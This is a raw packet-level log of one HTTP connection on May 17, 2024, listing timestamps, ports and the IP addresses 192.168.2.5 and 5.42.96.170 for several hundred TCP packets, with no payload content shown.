May 17, 2024 23:45:16.095870972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095881939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095889091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095897913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095906973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095916986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095927000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095937014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095947981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.095985889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095985889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095985889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095985889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.095985889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096018076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096029043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096036911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096046925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096055984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096066952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096076965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096086979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096103907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096110106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096110106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096110106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096110106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096110106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096122980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096136093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096141100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096141100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096149921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096159935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096168995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096178055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096215963 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096215963 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096215963 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096215963 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096771002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096781969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096790075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096798897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096812010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096817970 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096826077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096834898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096844912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096854925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096864939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096911907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096911907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096911907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096911907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096911907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.096932888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096941948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096951008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096961975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096972942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096982956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.096992016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097002029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097009897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097021103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097029924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097038984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097048044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097048044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097048044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097048044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097048044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097065926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097080946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097080946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097107887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097407103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097423077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097431898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097584963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097595930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097603083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097613096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097621918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097631931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097640991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097651005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097651005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097651005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097651005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097651005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097662926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097672939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097681999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097691059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097701073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097712994 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097722054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097722054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097722054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097732067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097742081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097750902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097760916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097770929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097781897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097781897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097781897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097781897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097781897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097796917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097806931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097815037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097826004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097842932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097842932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097851992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097862005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.097884893 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097884893 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097884893 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.097892046 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099124908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099134922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099143028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099150896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099160910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099172115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099180937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099190950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099200010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099210978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099220037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099229097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099236965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099236965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099236965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099236965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099236965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099256039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099261999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099273920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099281073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099292040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099308014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099318027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099327087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099337101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099347115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099358082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099358082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099358082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099358082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099358082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099370003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099380970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099392891 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099392891 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099417925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099417925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099545956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099555969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099565029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099581957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099673033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099673033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099685907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099695921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099704027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099713087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099723101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099731922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099741936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099752903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099762917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099773884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099787951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099793911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099793911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099793911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099793911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099793911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099843025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099843025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099869013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099879026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099886894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099895954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099905968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099915981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099925041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099936962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099946976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099956989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099966049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099975109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.099984884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099984884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099984884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099984884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099984884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.099996090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100011110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100016117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100024939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100035906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100044966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100059986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100059986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100059986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100066900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100076914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100131035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100131035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100131035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100131035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100655079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100666046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100673914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100682974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100692987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100704908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100714922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100723982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100733042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100750923 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100750923 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100750923 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100750923 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100750923 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100775957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100780964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100790977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100799084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100809097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100817919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100827932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100837946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100847960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100858927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100867033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100877047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.100887060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100887060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100887060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100887060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100887060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.100908041 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101429939 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101437092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101445913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101454020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101463079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101471901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101483107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101492882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101502895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101511955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101521015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101530075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101541996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101541996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101541996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101541996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101541996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101552010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101561069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101578951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101588011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101597071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101608038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101618052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101627111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101639032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101639032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101639032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101639032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101639032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101648092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101658106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101667881 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101677895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101686954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101696968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101715088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101721048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101721048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101721048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101721048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101732969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101741076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.101749897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101758957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.101768970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102488041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102494001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102494001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102494001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102494001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102504015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102514029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102524042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102534056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102544069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102632046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102642059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102649927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102658987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102672100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102672100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102672100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102672100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102672100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102684021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102693081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102700949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102710009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102725029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102735043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102744102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102752924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102766037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102776051 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102776051 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102776051 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102776051 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102776051 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.102788925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.102797031 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103096008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103106022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103115082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103126049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103135109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103143930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103178024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103178024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103178024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103178024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103178024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103256941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103266954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103275061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103283882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103296041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103306055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103316069 CEST	80	49707	5.42.96.170	192.168.2.5
